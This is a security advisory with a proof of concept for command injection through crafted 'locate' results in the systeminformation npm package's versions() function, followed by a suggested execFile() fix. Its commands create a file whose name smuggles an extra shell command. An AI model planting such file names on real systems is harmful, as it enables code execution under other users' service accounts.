GHSA-5vv4-hvf7-2h46 Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation

• npm systeminformation: < 5.31.0 → fixed in 5.31.0

Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation Package: systeminformation (npm) Tested Version: 5.30.7 Affected Platform: Linux Author: Sebastian Hildebrandt Weekly Downloads: ~5,000,000+ Repository: https://github.com/sebhildebrandt/systeminformation Severity: Medium CWE: CWE-78 (OS Command Injection) --- The Vulnerable Code Path Inside the `versions()` function, when detecting the PostgreSQL version on Linux, the code does this: ```javascript // lib/osinfo.js — lines 770-776 exec('locate bin/postgres', (error, stdout) => { if (!error) { const postgresqlBin = stdout.toString().split('\n').sort(); if (postgresqlBin.length) { exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', (error, stdout) => { // parses version string... }); } } }); ``` Here's what happens step by step: 1. It runs `locate bin/postgres` to search the filesystem for PostgreSQL binaries 2. It splits the output by newline and sorts the results alphabetically 3. It takes the last element (highest alphabetically) 4. It concatenates that path directly into a new `exec()` call with `+ ' -V'` No `sanitizeShellString()`. No path validation. No `execFile()`. Raw string concatenation into `exec()`. The `locate` command reads from a system-wide database (`plocate.db` or `mlocate.db`) that indexes all filenames on the system. If any indexed filename contains shell metacharacters — specifically semicolons — those characters will be interpreted by the shell when passed to `exec()`. --- Exploitation Prerequisites For this vulnerability to be exploitable, the following conditions must be met: 1. Target system runs Linux — the vulnerable code path is inside an `if (_linux)` block 2. `locate` / `plocate` is installed — common on Ubuntu, Debian, Fedora, RHEL 3. PostgreSQL binary exists in the locate database — so `locate bin/postgres` returns results (otherwise the code falls through to a safe `psql -V` fallback) 4. The attacker can create files on the filesystem — in any directory that gets indexed by `updatedb` 5. The locate database gets updated — `updatedb` runs daily via systemd timer (`plocate-updatedb.timer`) or cron on most distros Step 1 — Verify the Environment On the target machine, confirm locate is available and running: ``` which locate /usr/bin/locate systemctl list-timers | grep plocate plocate-updatedb.timer plocate-updatedb.service (runs daily, typically around 1-2 AM) ``` Check who owns the locate database: ``` ls -la /var/lib/plocate/plocate.db -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db ``` Database is root-owned and updated by root. Regular users cannot update it directly, but `updatedb` runs on a daily schedule and indexes all readable files. Step 2 — Craft the Malicious File Path The key insight is that Linux allows semicolons in filenames, and `exec()` passes strings through `/bin/sh -c` which interprets semicolons as command separators. Create a file whose path contains an injected command: ``` mkdir -p "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin" touch "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres" ``` Verify it exists: ``` find /var/tmp -name postgres /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres ``` This file needs to end up in the `locate` database. On a real system, this happens automatically when `updatedb` runs overnight. For testing purposes: ``` sudo updatedb ``` Then verify locate picks it up: ``` locate bin/postgres /usr/lib/postgresql/14/bin/postgres /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres ``` Step 3 — Understand the Sort Trick The vulnerable code sorts the locate results alphabetically and takes the last element: ```javascript const postgresqlBin = stdout.toString().split('\n').sort(); exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', ...); ``` Alphabetically, `/var/` sorts after `/usr/`. So our malicious path naturally becomes the selected one: ``` Node.js sort order: [0] /usr/lib/postgresql/14/bin/postgres ← legitimate [1] /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres ← selected (last) ``` Quick verification: ``` node -e " const paths = [ '/usr/lib/postgresql/14/bin/postgres', '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres' ]; console.log('Sorted:', paths.sort()); console.log('Selected (last):', paths[paths.length - 1]); " ``` Output: ``` Sorted: [ '/usr/lib/postgresql/14/bin/postgres', '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres' ] Selected (last): /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres ``` Step 4 — Trigger the Vulnerability Now when any application using systeminformation calls `versions()` requesting the postgresql version, the injected command fires: ```javascript const si = require('systeminformation'); // This is a normal, innocent API call si.versions('postgresql').then(data => { console.log(data); }); ``` Internally, the library builds and executes this command: ``` /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres -V ``` The shell (`/bin/sh -c`) interprets this as three separate commands: ``` /var/tmp/x → fails silently (not executable) touch /tmp/SI_RCE_PROOF → ATTACKER'S COMMAND EXECUTES /bin/postgres -V → runs normally, returns version ``` Step 5 — Verify Code Execution ``` ls -la /tmp/SI_RCE_PROOF -rw-rw-r-- 1 appuser appuser 0 Feb 14 15:30 /tmp/SI_RCE_PROOF ``` The file exists. Arbitrary command execution confirmed. The injected command runs with whatever privileges the Node.js process has. In a monitoring dashboard or backend API context, that's typically the application service account. --- Real-World Attack Scenarios Scenario 1 — Shared Hosting / Multi-Tenant Server A low-privileged user on a shared server creates the malicious file in `/tmp` or their home directory. The hosting provider runs a monitoring agent that uses `systeminformation` for health dashboards. Next time the agent calls `versions()`, the attacker's command executes under the monitoring agent's (higher-privileged) service account. Scenario 2 — CI/CD Pipeline Poisoning A malicious contributor submits a PR that includes a build step creating files with crafted names. If the CI pipeline uses `systeminformation` for environment reporting (common in test harnesses and build dashboards), the injected commands execute in the CI runner context — potentially leaking secrets, tokens, and deployment keys. Scenario 3 — Container / Kubernetes Escape In containerized environments where `/var` or `/tmp` sits on a shared volume, a compromised container creates the malicious file. When the host-level monitoring agent (running `systeminformation`) calls `versions()`, the injected command executes on the host, breaking out of the container boundary. --- Suggested Fix Replace `exec()` with `execFile()` for the PostgreSQL binary version check. `execFile()` does not spawn a shell, so metacharacters in the path are treated as literal characters: ```javascript const { execFile } = require('child_process'); exec('locate bin/postgres', (error, stdout) => { if (!error) { const postgresqlBin = stdout.toString().split('\n') .filter(p => p.trim().length > 0) .sort(); if (postgresqlBin.length) { execFile(postgresqlBin[postgresqlBin.length - 1], ['-V'], (error, stdout) => { // ... parse version }); } } }); ``` Additionally, the locate output should be validated against a safe path pattern before use: ```javascript const safePath = /^[a-zA-Z0-9/_.-]+$/; const postgresqlBin = stdout.toString().split('\n') .filter(p => safePath.test(p.trim())) .sort(); ``` --- Disclosure • Reported via: GitHub Private Security Advisory • Advisory URL: https://github.com/sebhildebrandt/systeminformation/security/advisories/new • Security Contact: [email protected]